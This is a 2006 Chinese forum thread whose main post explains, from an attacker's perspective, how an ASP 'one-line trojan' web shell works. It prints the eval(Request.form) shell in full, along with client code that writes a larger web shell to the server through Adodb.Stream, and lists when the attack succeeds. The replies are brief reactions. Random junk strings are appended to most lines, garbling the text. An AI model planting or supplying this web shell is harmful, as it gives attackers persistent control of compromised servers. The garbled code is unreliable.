社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 2653阅读
  • 4回复

一句话木马原理

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
就拿我们经常使用的冰狐大哥的一句话木马:<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>来解释下它的原理. o8fY!C)  
首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码: q,>4#J[2;s  
<textarea name=# cols="80" rows="10"> s f8F h  
set iP=server.createObject("Adodb.Stream") 6Cgc-KNbk  
iP.Open .q|k459oi  
iP.Type=2 P.- `[  
iP.CharSet="gb2312" (: @7IWZf@  
iP.writetext request("aoyun") +!$]a^3l  
iP.SaveToFile server.mappath("aoyunwan.asp"),2 "~L$oji  
iP.Close :*MR$Jf  
set iP=nothing >1hhz  
response.redirect "aoyunwan.asp" ,PeE'$q  
</textarea> </D )i  
学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了: 6UM1>xq9A  
set iP=server.createObject("Adodb.Stream") /i(R~7;?  
iP.Open l<:\w.Gl  
iP.Type=2 m(Iy W734I  
iP.CharSet="gb2312" f0 kz:sZ9  
iP.writetext request("aoyun") QBb%$_Z  
iP.SaveToFile server.mappath("aoyunwan.asp"),2 CTJwZY7  
iP.Close *M'/z=V?%  
set iP=nothing dP=,<H#]m  
response.redirect "aoyunwan.asp" V#X<Yt  
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的 aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象 然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了! >DR$}{IV  
不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的.
本帖最近评分记录: 1 条评分 隐藏
By 孞 威望 +1 2006-07-31 | 理由: 优秀文章
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 终身会员
发帖
5939
铜板
91
人品值
931
贡献值
22
交易币
0
好评度
6155
信誉值
0
金币
0
所在楼道

只看该作者 1 发表于: 2006-07-31
我晕.什么东东.我怎么看不懂..晕... crN*eFeW  

谁可以给我永远的幸福?
睡觉睡到自然醒,数钱数到手指疼......
                                                                  ——————钱多多
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-02
就是一句话木马阿~
级别: 经院硕士
发帖
2237
铜板
4347
人品值
459
贡献值
0
交易币
0
好评度
1997
信誉值
0
金币
0
所在楼道

只看该作者 3 发表于: 2006-08-03
深奥   有点晕``
级别: 经院大学
发帖
563
铜板
2236
人品值
132
贡献值
0
交易币
0
好评度
555
信誉值
0
金币
0
所在楼道
只看该作者 4 发表于: 2006-08-03
曲高和寡!!
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八